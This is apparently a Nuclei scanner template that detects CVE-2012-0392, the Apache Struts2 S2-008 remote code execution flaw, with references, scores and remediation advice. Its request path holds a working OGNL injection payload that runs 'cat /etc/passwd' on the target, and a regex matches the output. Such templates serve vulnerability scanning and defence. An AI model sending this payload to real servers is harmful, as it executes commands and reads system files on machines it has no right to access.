id: CVE-2012-0392 info: name: Apache Struts2 S2-008 RCE author: pikpikcu severity: medium description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method. remediation: Developers should immediately upgrade to at least Struts 2.3.18. reference: - https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545 - http://www.exploit-db.com/exploits/18329 - https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html - http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393 - http://struts.apache.org/2.x/docs/s2-008.html classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P cvss-score: 6.8 cve-id: CVE-2012-0392 cwe-id: NVD-CWE-noinfo epss-score: 0.97059 epss-percentile: 0.99682 cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: struts tags: cve2012,apache,rce,struts,java,edb,cve http: - method: GET path: - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022029ec7799c7fc9bed1aa6698c4f3f13ea6564572968cc882b3b6abde9df82684b022100972cba3b11954050c4d22b711f19299c79b5cb2d363ee766101517aed72b4f96:922c64590222798bb761d5b6d8e72950